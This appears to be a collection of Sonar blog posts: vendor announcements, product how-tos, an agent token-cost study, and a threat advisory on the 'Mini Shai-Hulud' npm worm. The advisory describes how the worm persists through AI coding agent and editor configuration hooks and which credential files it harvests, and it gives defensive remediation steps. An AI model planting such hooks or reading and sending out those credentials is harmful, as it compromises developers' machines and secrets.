Read the full report to see why Gartner® positioned Sonar as a Leader in the Technical Debt Management Tools Magic Quadrant™, and get a clear view of the modern vendor landscape.

Access the full Gartner® research report now →

Gartner, Magic Quadrant for Technical Debt Management, Tigran Egiazarov, Howard Dodd, Aaron Harrison, 20 May 2026

Gartner and Magic Quadrant are trademarks of Gartner, Inc. and/or its affiliates.

Gartner does not endorse any company, vendor, product or service depicted in its publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner publications consist of the opinions of Gartner’s business and technology insights organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this publication, including any warranties of merchantability or fitness for a particular purpose.

This graphic was published by Gartner, Inc. as part of a larger research document and should be evaluated in the context of the entire document. The Gartner document is available upon request from Sonar.

Mini Shai-Hulud Targets AI Coding Agents

Killian Carlsen-Phelan — Tue, 26 May 2026 16:00:00 GMT

TL;DR overview

Mini Shai-Hulud is the first supply chain attack to persist through AI coding agent sessions, silently re-executing every time a developer opens an infected project.
It injects hooks into agent and editor configuration directories that fire with full permissions and no visible output, spreading across every repository on the machine.
SonarQube's dependency verification, SCA daily rescans, and secrets detection rules provide checkpoints that reduce both exposure and blast radius.
AI coding agents are infrastructure now, and their configuration files are attack surface that warrants the same scrutiny as CI/CD workflows.

You clone a repo, and Claude Code opens it. The .claude/settings.json it finds has a SessionStart hook that runs node .claude/setup.mjs. A bootstrapper silently downloads Bun 1.3.14, re-executes a credential harvester that reads 80+ environment variables and 130+ file paths, and sends the results to a command-and-control server disguised as an OpenTelemetry endpoint. Nothing appears in the terminal, so you switch to another project, and the same thing happens again.

This is Mini Shai-Hulud, the first in-the-wild supply chain attack designed to persist through AI coding agent sessions. The attack started with a compromised npm maintainer account named atool, the account that controls timeago.js and the broader @antv namespace. Using the compromised credentials, the attacker pushed malicious versions across ~323 packages in rapid automated bursts on May 19, 2026, affecting millions of downloads weekly. Socket.dev, SafeDep, and StepSecurity published thorough IOC breakdowns within hours. What those analyses cover well is the credential harvesting scope, the worm propagation mechanics, and the detection indicators. The AI agent persistence layer, however, is the part that’s actually new, and not much time is spent on this.

How Mini Shai-Hulud hijacks your agent

Previous npm supply chain attacks ran their payload once, during npm install, through a preinstall or postinstall lifecycle hook. Mini Shai-Hulud does that too, using preinstall: bun run index.js as its first infection vector. A second, redundant vector injects optionalDependencies pointing to orphan commits pushed to the antvis/G2 repository via a deleted fork. The injected commit's package.json declares a prepare hook instead of preinstall, which fires during git dependency resolution even when preinstall scripts are blocked, and unfortunately, the payload doesn't stop at credential harvesting. Exfiltrated data leaves through encrypted HTTPS posts to a C2 server disguised as an OpenTelemetry collector endpoint, and from commits pushed to GitHub repositories via the victim's stolen token. The GitHub exfiltration channel is separate from the orphan commit payload delivery mechanism as the orphan commits in G2 deliver the malware whereas the API-based commits extract stolen data. The payload then writes persistence artifacts into the project's AI agent configuration directories.

For Claude Code, the worm injects a SessionStart hook into .claude/settings.json that executes node .claude/setup.mjs on every session. For VS Code, it writes a .vscode/tasks.json entry with "runOn": "folderOpen" that auto-executes when the editor opens the project. Both artifacts trigger a process to download Bun, re-execute the credential harvester, and scan the local filesystem for more projects to infect.

.claude/ and .vscode/ directories are trusted execution infrastructure, which is why this works so well. SessionStart hooks fire before any user interaction, with the agent's full permissions, and produce no prompt, confirmation dialog, or visible output. The attack treats AI coding agents as infrastructure it can camp inside to re-execute indefinitely, similar to the way earlier malware treated cron jobs or systemd services.

The local project scanning component makes this a worm in the traditional sense. An infected repo's payload scans the developer's filesystem for other Claude Code and VS Code configurations and injects the same hooks, so one compromised dependency in one project can spread the persistence layer across every repository on the machine. AI coding agents operate across multiple repositories in a single session, so the cross-project spread happens through normal development activity.

Mini Shai-Hulud also installs system-level persistence (a kitty-monitor daemon that polls GitHub for signed C2 commands, a gh-token-monitor service that continuously validates stolen tokens), but the AI agent hijacking is the novel contribution. Previous Shai-Hulud variants used cron and systemd, and this wave added Claude Code and VS Code as first-class persistence targets.

The checkpoints SonarQube puts in the path

SonarQube operates at the dependency verification and secrets hygiene layers, and both are directly relevant to reducing exposure and blast radius from attacks like this one. Other layers in the defense stack cover real-time registry scanning and CI/CD runtime monitoring. Supply chain defense requires all of these layers working together, and SonarQube provides checkpoints at many of them.

Dependency pre-flight via the MCP server. When an AI coding agent adds or updates a dependency, SonarQube's MCP server requires calling check_dependency before modifying any manifest or lockfile. The tool checks the package against the OpenSSF Malicious Packages database (included in the OSV dataset that SonarQube Advanced Security sources from). For a catalogued malicious package, the response is unambiguous:

"purl": "pkg:npm/example-compromised-pkg@2.0.1",

The AI agent is directed not to proceed. The MCP server instructs the agent through its system prompt, and compliance depends on the agent following the directive, so it’s a guardrail rather than a hard block. For the AI agent infection vector specifically, where the worm propagates by injecting malicious dependencies into projects that agents subsequently work on, the check_dependency checkpoint sits directly in the propagation path. Detection of these dependencies depends on database freshness. The OpenSSF Malicious Packages database is populated by behavioral scans of newly published packages, and there's inherent latency between a malicious version hitting npm and its entry appearing in that database. Once catalogued, though, every agent session that tries to add the dependency hits the checkpoint.

SCA daily rescan as incident response. SonarQube Advanced Security's software composition analysis runs periodic re-analysis of existing branches (configurable as daily, weekly, or never). A project that installed a compromised @antv version before the packages were catalogued would be flagged on the next rescan after the OpenSSF database updated, surfaced as a BLOCKER-severity malicious package risk that fails the quality gate. Many organizations don't re-audit their lockfiles after supply chain incidents are reported, so the daily rescan means affected projects surface in the SonarQube dashboard without manual lockfile audits, and the quality gate failure forces attention even if the team missed the initial security advisories.

Secrets hygiene as blast radius reduction. Mini Shai-Hulud's damage is proportional to the credentials it harvests. The worm targets 80+ environment variables and 130+ file paths including ~/.ssh/*, ~/.aws/credentials, and ~/.npmrc, plus database connection strings, crypto wallet files, and password manager vaults. SonarQube's secrets detection rules (S6418 for hard-coded secrets, S2068 for hard-coded credentials in connection strings, plus hundreds of additional patterns in the Advanced Security commercial rules) catch credentials committed to source code and configuration files. Organizations that enforce these rules through quality gates have fewer credentials stored where the worm can reach them, which directly reduces blast radius. The worm's primary harvesting vector is local filesystem and environment variables on the developer's machine, but it also scans repository contents, and projects with strict secrets hygiene give it less to work with on that front.

The SonarQube CLI's sonar integrate claude command extends this hygiene into agent sessions by installing pre-tool hooks that scan for secrets before Claude Code reads or writes files. The security boundary these hooks create around Claude Code sessions is worth establishing as a baseline, especially since the attack specifically targets the .claude/ directory. The hooks are scoped to credential detection rather than general malware analysis, so a SessionStart hook running node .claude/setup.mjs wouldn't trigger on its own, but any file the bootstrapper touches that contains recognizable secrets would be flagged.

What to do now

If your projects depend on packages in the @antv scope, echarts-for-react, timeago.js, size-sensor, or any of the other affected libraries, start with these steps:

Audit .claude/ and .vscode/ directories across all repositories. Look for SessionStart hooks in .claude/settings.json that you didn't add, setup.mjs files, and .vscode/tasks.json entries with "runOn": "folderOpen". The Intrudify scanner automates detection of persistence artifacts.
Rotate credentials. npm tokens, GitHub PATs, SSH keys, cloud credentials (AWS, GCP, Azure), and CI/CD secrets. The worm validates stolen npm tokens against the registry API in real time, so assume compromised tokens have been used.
Run sonar integrate claude if you use Claude Code to establish a security boundary around agent sessions.
Check lockfiles for package versions published between May 11 and May 19, 2026. Affected scopes include @antv, @tanstack, @uipath, @mistralai, @squawk, @tallyui, and @beproduct.
Enable SCA with a quality gate condition on malicious packages if you haven't already. The daily rescan will catch affected dependencies that were installed before the packages were catalogued. Requires SonarQube Advanced Security.
Check for system-level persistence. Look for kitty-monitor and gh-token-monitor services in systemd user units or macOS LaunchAgents. Check ~/.local/share/kitty/cat.py and ~/.local/bin/gh-token-monitor.sh.

AI coding agents are infrastructure now, and infrastructure gets targeted. .claude/settings.json and .vscode/tasks.json are configuration files with execution semantics, which means they're attack surface. Treating them with the same scrutiny you'd give a Dockerfile or a GitHub Actions workflow is the minimum baseline going forward.

Welcoming Gitar to Sonar

Tariq Shaukat — Thu, 21 May 2026 16:00:00 GMT

I have a saying I use with customers when I talk about AI coding tools: the models are extraordinarily intelligent…and they can also be surprisingly stupid. They always create plausible answers, but those answers often contain mistakes. Sometimes those mistakes are easy to spot and fix. Other times, they're deeply buried and complex. Regardless, every one of them can be catastrophic.

Today, Sonar has acquired Gitar, adding a new, critical layer to its multilayer, zero-trust code verification platform. Gitar is an AI code review solution, and it doesn’t just flag issues; it also generates the fix, validates it against the CI, and commits to the branch. While the tools that write code have never been more powerful, the tools that ensure code can be trusted have never been more important.

Led by Ali-Reza Adl-Tabatabai and Gautam Korlam, Gitar was built to solve a specific, hard problem: the bottleneck in software development is moving from writing code to ensuring its reliability and safety in production environments. The result is a platform that lives in your pull requests, reviews code, diagnoses CI failures, identifies root causes, and commits fixes, without waiting for a human to intervene.

I've been watching Gitar closely for a while. What impressed me most wasn't just the product; it was the thinking behind it. They've seen what happens at enormous scale when development velocity runs ahead of validation capacity. They understand this problem at the systems level, not just the feature level.

Why Gitar is critical to the SonarQube verification platform

Let me explain how this fits into what we've been building at Sonar.

Our framework for the agentic era, the Agent Centric Development Cycle (AC/DC) holds that building trusted, secure, reliable software with AI requires you to Guide the agents with the right context and constraints; Verify that the output is high quality, maintainable, and secure; and Solve problems as they occur.

Of these three pillars, Verify has always been the most critical. Verification is mandatory in AC/DC, not optional. Verification must be thorough, transparent, and consistent. The best verification is multilayered and zero trust.

SonarQube provides deep mathematical reasoning across syntax, data flows, control flows, architectures, and dependencies. It's explainable, auditable, and idempotent. This code analysis covering reliability, maintainability, complexity, and security is a vital component of a comprehensive verification platform, but AI code review is another.

That second layer is exactly what Gitar provides, and it’s what we are now adding to our platform. From the moment an agent starts writing, to the moment code lands in your codebase, you have a verification platform that is both deterministic and agentic, both comprehensive and auditable. That's what enterprises need. That's what "zero trust, multilayered verification" actually means in practice.

Gitar operates as an agent rather than a tool. It understands code context, generates a remediation, and validates that remediation against the CI pipeline before presenting it to the human developer. Rather than surfacing alerts, Gitar works the problem until it's solved.

For current Gitar customers, things will be business as usual. No change to your product, services, or support. Gitar will continue to be available for purchase as a standalone product. Over time, Sonar will deepen the integration between Gitar and SonarQube, giving you a more complete view of code quality, security, and review status in one place.

Please join me in welcoming Ali, Gautam, and the entire Gitar team to Sonar. You built something we're proud to bring into the SonarQube platform—and excited to build on together.

Announcing SonarQube Server 2026.3

Robert Curlee — Wed, 20 May 2026 16:00:00 GMT

TL;DR overview

SonarQube Server 2026.3 accelerates secure, AI-assisted software delivery by introducing native Model Context Protocol (MCP) connectivity for AI coding assistants.
The release deepens language intelligence with 70+ advanced Python rules to prevent memory bloat and OOM runtime errors.
Infrastructure security is enhanced through rigorous analysis of Groovy-based Jenkins pipelines and natively supported PowerShell scripts.
Enterprise administration is streamlined with frictionless GitLab provisioning, UI performance alerts, and CycloneDX 1.6 VEX compliance exports.

Today, Sonar is announcing the release of SonarQube Server 2026.3. This release accelerates secure, AI-assisted software delivery by introducing native Model Context Protocol (MCP) connectivity for AI coding assistants, vastly deepens language and pipeline analysis, and streamlines administration and compliance at enterprise scale.

The SonarQube Server 2026.3 release is explicitly designed for modern enterprise organizations seeking to maximize developer velocity without compromising architectural integrity, security governance, or platform stability. At the heart of this release is our next-generation AI agentic connectivity via an embedded Model Context Protocol (MCP) server, which completely removes the infrastructure overhead of self-hosting standalone containers. Now, software developers can directly link their preferred AI agentic coding assistants to SonarQube, granting on-demand access to rich, project-specific context while security managers retain ultimate control through a global, token-based kill-switch. To further secure the entire software development lifecycle, 2026.3 deepens its code intelligence across the stack. Over 70 advanced rules for Python collections, OOP constructs, and data structures directly tackle memory bloat, variable leaks, and crippling Out-of-Memory (OOM) runtime errors in containerized environments. We are also drastically reducing the debugging and support burden on teams with new, rigorous analysis for Groovy-based Jenkins CI/CD pipelines, and natively supported PowerShell scripts, securing both the application code and the automated deployment infrastructure running it. Finally, for platform engineers and security leaders operating at massive scale, this release introduces dramatically optimized, frictionless GitLab automatic provisioning that bypasses stringent database limitations, out-of-the-box UI system performance alerts to preemptively stop degraded user experiences, and for SonarQube Advanced Security customers, we’ve added automated Vulnerability Exploitability Exchange (VEX) exports in CycloneDX 1.6 format to instantly generate compliance-ready SBOM documentation.

Update or migrate today

Update your instance to SonarQube Server 2026.3 today to take advantage of these new capabilities.

Learn about migrating to SonarQube Cloud—same enterprise capabilities, with automatic updates so your team always has access to the latest features without managing another version update. Contact sales to discuss migrating now.

A cleaner codebase results in less token usage

Sonar — Thu, 14 May 2026 16:00:00 GMT

Authors

Olivier Schmitt | Prasenjit Sarkar | Priyansh Trivedi

The prevailing take on AI-assisted software development goes something like this: AI agents don't get cognitively overloaded, they read fast, they don't care about naming conventions or nested logic; human limitations don’t apply. Put another way, cleaner code is critical for human readers only and doesn’t really matter for AI tools.

So maybe clean, structured code is a solved problem. Perhaps it’s an artifact of the old era. It's a reasonable-sounding argument. But we couldn't find evidence anyone had actually tested it. So we did.

What we tested

The question sounds simple: working on the same task, does an AI agent behave differently on cleaner code versus messier code?

Answering it rigorously is harder than it looks. Real-world repos that differ on code quality also tend to differ on one hundred other things, as well—programming language, framework, test coverage, dependencies, age, team size. If an agent performed better on one repo than the other, we couldn't tell whether that was because the code was easier to work with, or simply because the agent knew the framework better.

So we created the comparison ourselves. We built six pairs of repositories where both sides ship the same application, pass the same test suite, use the same dependencies, and broadly share the same architecture. They only differed under the hood: how the code was factored, named, nested, and whether it carried the kinds of issues SonarQube flags. Same app, very different insides.

We intentionally built these pairs in two directions—some started from a clean codebase and got deliberately messed up by an agent pipeline (we called this one “Slopify”). Others started from an organically-grown messy codebase and got cleaned up by a SonarQube-guided agent (called “Vibeclean”). Running the comparison in both directions ensured that any downstream effect is due to the cleaner state of the code, and not due to our process of building the pairs.

Across these six pairs we wrote 27 coding tasks, routed through the parts of each codebase where the difference between clean and messy actually showed up. We described each task the way a product manager would describe a ticket: inputs, outputs, the behaviour a user should see. No file names, no function names, no internal hints—just enough for the agent to figure out where to go on its own.

Then we ran each task ten times on both sides of every pair, using Claude Code with Sonnet 4.6, about 540 runs in total.

What we found

Across the 540 runs, the cleaner side of every pair was measurably less expensive to run than the unclean side.

7.2% fewer input tokens consumed
8.5% fewer output tokens generated
11.1% reduction in agent reasoning effort (note: this is an estimate as Anthropic doesn't expose reasoning-token counts directly, so we count characters off the event stream)
About a third fewer file revisits after the agent had already edited a file
3.6% fewer turns before the first code change, on average
No meaningful change in whether the task got done (−0.9 percentage points)

The pass-rate number sits at noise. Whatever cleaner code does for an agent, it doesn't decide whether the work finishes. What it changes is how much the agent has to do to finish it.

One caveat worth flagging up front: these are dataset-wide averages over a wide per-task spread. Some tasks saved 40% on input tokens; a handful actually cost slightly more on the high-quality side. Across the 27 tasks, the helping effect dominates on average, but not on every task. We'll come back to where it does and doesn't.

The bottom line

Early observations point to two critically important findings:

(1) Agents' reasoning budget is impacted by messy code; and

(2) Cleaner code is now an AI infrastructure cost lever, not just an engineering best practice.

We expect that variance across tasks is real, and not every task benefits equally from a cleaner codebase. However, if the pattern holds across more repos and more models, the headline numbers understate the structural-quality effect.

The same code that burdens a human reader burdens agents, too. In other words, a codebase that includes deeply nested logic, high cognitive complexity, cryptic naming, etc. will drive more labor and higher cost. When an agent encounters a 400-line function with branchy control flow, it has to work harder: more reading, more re-reading, more reasoning before it touches anything.

Well-maintained code gives agents shorter paths to the same answer: smaller functions, cleaner control flow, and comments that hand context directly to the agent instead of forcing it to infer from structure. The agent doesn't have to build a full mental model before it acts.

Two of the more telling signals in the data aren’t about how much the agent reads or writes, rather, they’re about how it moves through the work. On the clean side the agent re-reads files it has already edited about 34% less often than on the unclean side, and reaches its first code edit slightly sooner. Both effects show up on every pair we measured, and unlike the input/output/reasoning numbers (which swing widely from task to task), these stay consistent across the dataset.

One plausible interpretation of this clean statistical signal could be that the agent commits and moves on when it encounters the cleaner code. On messier code, it goes back to re-read what it already touched, spends longer building a mental model before its first edit, and second-guesses itself more often. The token reductions look like a consequence of that behavioural difference, not the cause of it.

Hidden tokenomics beyond the "prompt"

The financial burden of AI is shining a light on "agentic inference" costs. As software developers move from single-turn prompts to multi-step agentic workflows, token consumption has soared, with platforms like OpenRouter processing over 100 trillion tokens annually.

A single coding agent task on a frontier model now averages three to four million tokens, accumulated across tool calls, file reads, edits, retries, and reasoning steps in one conversation (Bai et al., 2026, our work). Most of those tokens are not spent generating code. They go into reading it, reviewing it, and re-reading it (Bai et al., 2026; Salim et al., 2026). What drives the cost isn’t how much the agent writes, it’s how much code the agent has to look at in order to write it.Anything that reduces this work—smaller files, predictably named code, clearer control flows, comments documenting upstream/downstream consequences of a method—can lead to lower overall costs.

Efficiency gains with cleaner code

Our first results therefore point to a simple takeaway: cleaner code lowers what your agents’ cost to run. Across the matched pairs we tested, the cleaner side of each pair used about 7% fewer input tokens and 8% fewer output tokens than its unclean counterpart, with no meaningful change in whether the task got done.

To some extent, what’s easy for human developers to work on is also easy for the agents to work on. Code maintained with SonarQube has less overhead, and the token reduction is the direct result.

What this means for agent-centric development

AI usage management

AI token usage is on its way from a line item curiosity to a real budget concern. In just two years, the share of financial operations teams actively managing AI spend has jumped from 31% to 98%. The conversation about how much an engineering organisation spends on agents is moving into the same meetings as the cloud bill, and the research we’ve shared today is one of the first signals that code quality is a crucial part of that conversation.

Most engineering teams already invest in code quality, whether through SonarQube, regular code review, or periodic refactors. What our findings suggest is that this investment now applies in two contexts, not one: the codebase a developer can keep moving in, and the per-task agent cost that scales with how legible the code is.

What's next

This work marks Sonar’s toehold into a larger set of research into the relationship between AI agents and cleaner code bases. And while we evolve our findings, we will gradually broaden our experiment setup to cover a larger set of LLMs and multiple other agentic harnesses.

Furthermore, we are confident that the positive impact of working on cleaner code will compound over time. Though our experiments were conducted in a one-shot setting, we’ll be working on long-horizon benchmarks to prove this hypothesis more deeply in the future. Stay tuned for more.

In the meantime, check out Sonar’s AI code verification platform, SonarQube.

–

Author’s note: The research was conducted using SonarQube to define and measure code quality — the same opinionated approach we apply elsewhere. This is not a third-party study, and we’re transparent about that. The directional result is what we stand behind.

Sonar's detailed research report can be found on arXiv.

Automatically fix code backlog with SonarQube Remediation Agent

Prasenjit Sarkar — Wed, 13 May 2026 16:00:00 GMT

TL;DR overview

The SonarQube Remediation Agent automates backlog remediation by scanning the main branch and opening GitHub pull requests with AI-generated fixes for high-priority security vulnerabilities and bugs.
This feature allows engineering teams to reduce technical debt on a scheduled daily or weekly cadence without manual developer intervention or dedicated sprints.
The agent opens one GitHub PR per run containing up to five eligible fixes, adhering to configurable open PR limits to prevent reviewer fatigue.
Project-level settings allow teams to customize remediation frequency and PR limits, ensuring critical repositories receive prioritized attention based on team capacity.

Every engineering team is facing the same challenge: a constantly accumulating backlog of security vulnerabilities, bugs, and code quality issues on the main branch that teams rarely prioritize. While new features are shipped, these problems continue to accumulate.

SonarQube Remediation Agent’s automated backlog remediation feature (currently in beta) offers a different approach. Instead of waiting for a software developer to manually pick up each issue, a scheduled agent scans your main branch, selects the highest-priority issues, and opens GitHub pull requests with AI-generated fixes—automatically, on a cadence you control.

This post walks you through how it works, how to enable it, and how to get the most out of it.

What is automated backlog remediation?

Automated backlog remediation is a feature of the SonarQube Remediation Agent that runs on a schedule rather than on demand. Each time it triggers on an enabled project, it will:

Scan the issues on your main branch
Select up to five eligible issues to fix
Open one GitHub pull request containing the AI-generated fixes, authored by the SonarQube Remediation Agent

You configure how often it runs (daily is the default), set a cap on the number of open PRs the agent can have at any time, and let it work in the background while your team focuses on new development.

Prerequisites to enabling automated backlog remediation

Before enabling the feature, make sure the following are in place:

Your organization is on a Team (annual) or Enterprise plan on SonarQube Cloud.
The SonarQube Remediation Agent GitHub app is installed and bound to your organization.
Your projects are connected to GitHub repositories.
The projects you want to remediate have issues on the main branch that are eligible for AI fixes.

Step 1: Enable automated backlog remediation

With the GitHub app installed, scroll down to the Enable agent section on the same page.

You will see three toggles:

Pull request remediation triggers on failing quality gates in PRs
Manual backlog remediation lets developers assign individual issues to the agent
Automated backlog remediation is the scheduled feature covered in this post

Toggle automated backlog remediation on. Two configuration options will appear:

Set your frequency

Set how often the agent runs using the Frequency setting. Options include daily and weekly. You can also set the time of day and timezone, for example, daily at 09:00 Europe/London means the agent runs each morning before your team starts their review cycle.

Open PR limit

The open PR limit controls the maximum number of agent-created PRs that can be open simultaneously across your repositories. The default is three, while the maximum is 100.

When this limit is reached, the agent pauses and does not open new PRs until existing ones are merged or closed. This prevents the agent from flooding your repository with unreviewed PRs.

Tip: Start with the default limit of three while your team gets familiar with reviewing agent PRs. You can increase it once you have a feel for the review cadence.

The limit set here is an org-level default. Individual projects can override it — covered in the next step.

Click Save to activate the schedule.

Step 2: Configure at the project level (optional)

For teams with projects that have different review capacity or priority, you can override the org-level settings at the project level.

Navigate to your project in SonarQube Cloud, go to Project settings → AI capabilities, and adjust the frequency or PR limit for that specific project. Project-level settings take precedence over the org default.

This is useful when, for example, a critical security project should run daily while a lower-priority project only needs a weekly run.

What the pull request looks like

When the agent creates a PR, it:

Names itself as the author (SonarQube Remediation Agent)
Includes a PR description with the list of Fixed issues, each with the rule name, description, and severity—the same information you would see in a SonarQube rule description
Delivers each fix as a separate commit, so reviewers can evaluate changes individually

The PR is a standard GitHub pull request. Your existing branch protection rules, required reviewers, and CI pipelines apply to it just as they would to any human-authored PR.

Monitoring with the agent activity page

Every agent run is logged on the Agent activity page, accessible from your project in SonarQube Cloud.

For each run, you can see:

Status and duration: Whether the run succeeded and how long it took
Started: The timestamp of when the agent was triggered
Source: Confirms this was a backlog fix run against the main branch
Outcome: A direct link to the GitHub PR the agent opened

This gives you a clear audit trail of what the agent has done, when it ran, and which issues it addressed, without needing to check GitHub separately.

Get started with automated backlog remediation

Automated backlog remediation is a low-friction way to make steady progress on technical debt without scheduling dedicated sprints or pulling developers away from feature work. The setup takes a few minutes, the agent runs on a schedule you control, and every fix lands as a reviewable GitHub PR.

To get started, head to Administration → AI capabilities → Remediation agent in your SonarQube Cloud organization.

For the full documentation, visit the SonarQube Remediation Agent docs.

Import your entire GitLab group into SonarQube Cloud with one click

Andrew Osborne — Fri, 08 May 2026 16:00:00 GMT

TL;DR overview

SonarQube Cloud now supports bulk import for GitLab projects, so teams using GitLab can connect a GitLab group and bring multiple projects into SonarQube Cloud in one go instead of setting them up one by one.
For teams managing large GitLab groups, this makes onboarding much faster and helps extend code quality, security, and reliability coverage across more of the codebase from day one.
Admins can connect a GitLab group, let SonarQube Cloud discover projects automatically, trigger the import, and review a consolidated summary showing which projects are ready and which need attention before finalizing.

SonarQube Cloud now supports bulk import of GitLab projects. If your team works in GitLab, you can now connect your GitLab group to SonarQube Cloud and import multiple projects at once — selecting exactly which projects you want to analyze, without having to set each one up individually. For software engineering teams managing large GitLab groups, this means complete code quality and security coverage across your entire codebase from day one.

GitLab onboarding made simple

With 1‑click bulk import for GitLab projects, onboarding becomes fast and easy. You can import all projects in a GitLab group and start enforcing your code quality, security, and reliability standards across your organization in a single move — without manual setup for each project.

What bulk import for GitLab does for you

For GitLab admins, team leads, and developers, bulk import turns project onboarding from a one by one task into a batch operation. Here’s what you get out of the box:

Import your entire catalog in one step – Bulk-import all existing projects within a GitLab group (including subgroups) in a single sweep, instead of configuring them one by one.
Total visibility from day one – Once triggered, SonarQube Cloud provisions the bound projects so your existing codebases are just as visible, governed, and compliant as your new ones.
Review and import insights – A consolidated review page shows you which projects are ready to go and highlights anything that needs attention, so you can selectively trigger imports with confidence when you’re ready.

The result: GitLab administrators can enable coverage at scale, while teams keep working in their usual GitLab workflows.

How it works at a high level

Bulk import is designed to fit naturally into how you already manage GitLab:

Connect your GitLab group (owner permission required) to SonarQube Cloud using the GitLab DevOps integration for your organization.
Choose the GitLab group (and subgroups) you want to import. SonarQube Cloud automatically discovers the projects in that group.
Trigger the import to provision all eligible projects in SonarQube Cloud and start analysis using your defined quality and security rules.
Review the bulk import summary, including which projects are ready and which require attention (for example, missing permissions or empty repositories).

From there, as part of your CI pipeline, SonarQube Cloud will deliver results after each build, so teams can fix problems early, and keep code reliable, maintainable, and secure.

For detailed, step-by-step setup instructions, follow the bulk import guide.

Try bulk import for your GitLab group

Get started today and turn GitLab project onboarding from a manual, one-at-a-time process into a batch operation — so your teams can spend time writing code, not configuring analysis projects.

SonarQube architecture management keeps agent-generated code architecturally sound

Taylor Luttrell-Williams — Thu, 07 May 2026 16:00:00 GMT

TL;DR overview

Architecture management in SonarQube Cloud identifies relationships and dependencies, illustrates project structure, and enables users to design interfaces.
Context Augmentation extends the SonarQube MCP Server with additional tools that provide AI agents with the current and intended architectures before code generation.
SonarQube Cloud reverse-engineers the current component hierarchy on every analysis, compares it against the intended architecture, and surfaces deviations as maintainability issues within existing workflows.
Proactive architectural awareness reduces architectural debt by giving AI agents visibility into the intended architecture's allow-list of permitted dependencies before code is generated.

Consider the following scenario: an AI coding agent adds a feature to your project, thereby writing a service class, importing what it needs, and compiling the code without issue. Tests proceed to pass and the PR is merged, but one generated import reaches into a module that was never meant to be accessed from that layer. This raises an important concern: neither the compiler, nor the tests, nor your linter, nor code-level static analysis caught this issue, because none of these tools properly account for the project’s code-level architecture.

AI coding agents often operate at the function and file level of a given project, and in doing so generate code that satisfies the immediate request: the functionality works, the unit test passes, the type checks resolve, etc. With this in mind, agents possess a limited view of the project’s broader system and how that code sits therein, and snippets that work in isolation but deviate from architectural boundaries accumulate as architectural debt that's expensive to untangle later.

The architectural blind spot

Code-level static analysis can identify bugs, vulnerabilities, and code smells, but won’t catch a dependency that deviates from your intended architecture. This evokes an altogether different dimension of code health: form vs. function.

Without the necessary context, an agent won't consider questions such as: which modules are allowed to depend on which? Or, should one layer of the application reach directly into another, ignoring important abstractions? It may instead duplicate a utility function rather than locate the correct import path across a module boundary, or create a circular dependency if doing so resolves a compilation error. In such examples, the code may be locally correct every time but introduce crippling architectural debt. This differs from code-level issues in that it accumulates through decisions regarding where code lives and upon what it depends, not through how individual functions are implemented. The increasing use of AI coding agents compounds these effects and can accelerate architectural debt.

In the past, this erosion of a project’s architecture accumulated gradually, and by the time it became readily apparent, the architectural debt was already expensive to remediate. AI agents accelerate that timeline as the increased rate of code generation introduces further opportunities for architectural deviations that pass existing checks.

How SonarQube detects architectural drift

Architecture management in SonarQube Cloud addresses this challenge by operating on the following concepts:

Current architecture is reverse-engineered from your source code at every analysis. It produces an interactive map which depicts the actual component hierarchy and dependencies: a live view of what exists today, always up to date, with no required configuration.

Intended architecture is an allow-list wherein you specify which components you want to control, where they sit in the overall structure, authorize dependencies between them, and define their interface. The model is unambiguous by nature.

Deviations constitute the gaps between your current and intended architectures. They surface as standard SonarQube maintainability issues that count toward the project’s maintainability rating and can even fail your quality gate, requiring remediation to pass. They flow through your existing workflow: dashboards, issue lists, PR decoration, etc. in the same way that other surfaced issues do. A single architectural deviation (e.g., module A should not depend on module B) can generate numerous code-level issues: one for each import statement, method call, or type reference that creates the forbidden dependency.

From detection to prevention

Detecting deviations after the code is generated is important, but Sonar Context Augmentation adds a proactive layer by providing the current architectural model and intended architecture to AI agents before they generate code.

Through the SonarQube MCP Server, an AI coding agent can, for example, query the following architecture endpoints:

get_current_architecture returns the actual component hierarchy and relationships.
get_intended_architecture returns the allow-list of permitted dependencies.

With both pieces of context, an agent can check whether a proposed dependency is permitted before writing it. Instead of generating an import that crosses a module boundary (and hoping that someone catches the deviation), the agent can recognize that the relationship isn't a part of the allow-list and therefore choose a different approach. The current architecture as context assists the agent by improving the accuracy of the code it generates. By providing the current and intended architectures to agents, they can produce code that is compliant with your architectural decisions.

The full list of currently available architecture tools can be found here.

What to know

Context Augmentation provides context, not enforcement. The agent receives the current architectural model and intended architecture, but SonarQube analysis remains the verification layer. If the agent ignores the context, deviations are still caught on the next scan.
Full architecture MCP tool support (call flow tracing, type hierarchy, signature search) is currently Java-only. C#, JavaScript, Python, and TypeScript are currently limited to get_current_architecture and get_intended_architecture.
Context Augmentation requires a SonarQube Cloud Team or Enterprise plan and is currently in open beta.

Putting the pieces together

Define the intended architecture by creating the allow-list of permitted dependencies in the SonarQube Cloud UI and then:

Guide AI agents with architectural context. Context Augmentation provides both the current and intended architectures to the agent through the MCP Server before code is generated.
Generate code with architectural awareness. The agent writes code that respects the architectural boundaries it received as context.
Verify on every analysis. SonarQube Cloud compares the actual code against the intended architecture and surfaces any deviations that slip through.
Solve the code-level issues that arise. The current architecture model evolves incrementally as the codebase changes.

It’s important to understand that AI coding agents are productive but oftentimes architecturally unaware, and that traditional checks rarely provide the necessary context. This is where architecture management in SonarQube Cloud comes in: the current architecture map shows the actual component structure and relationships of your codebase, and the intended architecture formalizes what's allowed. Context Augmentation closes the loop by placing the architectural model in the agent's hands before code is generated, so that deviation is prevented rather than caught after the fact, and re-prompting cycles are reduced, making token consumption more predictable. This is the architectural dimension of the Agent Centric Development Cycle: architectural integrity enforced at every step, for developers and AI agents alike.

How SonarQube Coverage Reporting Works?

Killian Carlsen-Phelan — Mon, 04 May 2026 16:00:00 GMT

TL;DR overview

SonarQube code coverage measures how much of the codebase is exercised by automated tests; it doesn’t itself generate coverage data. It imports reports produced by JaCoCo, coverage.py, Istanbul, or the equivalent tool for your language. The pipeline then runs through four stages, and most failures happen at the handcuffs between them.
0% coverage almost always traces to one of seven causes: automatic analysis mode, missing report file, wrong format, wrong scanner property name (deprecated names fail silently), wrong path, scanner running before tests, or file paths inside the report not matching the project layout.
When numbers don't match between tools, the cause is one of three things: different definitions of "coverable line" (Python def and import, JaCoCo closing braces), different file scope (your coverage tool only reports on files tests loaded; SonarQube sees every file), or SonarQube's combined line-plus-branch formula vs. tools that report them separately.
Coverage percentage alone misses tests that exercise code without verifying it. SonarQube rules flag tests with no assertions (java:S2699), assertions trapped inside pytest.raises blocks where they never execute (python:S5915), and empty test classes (java:S2187).

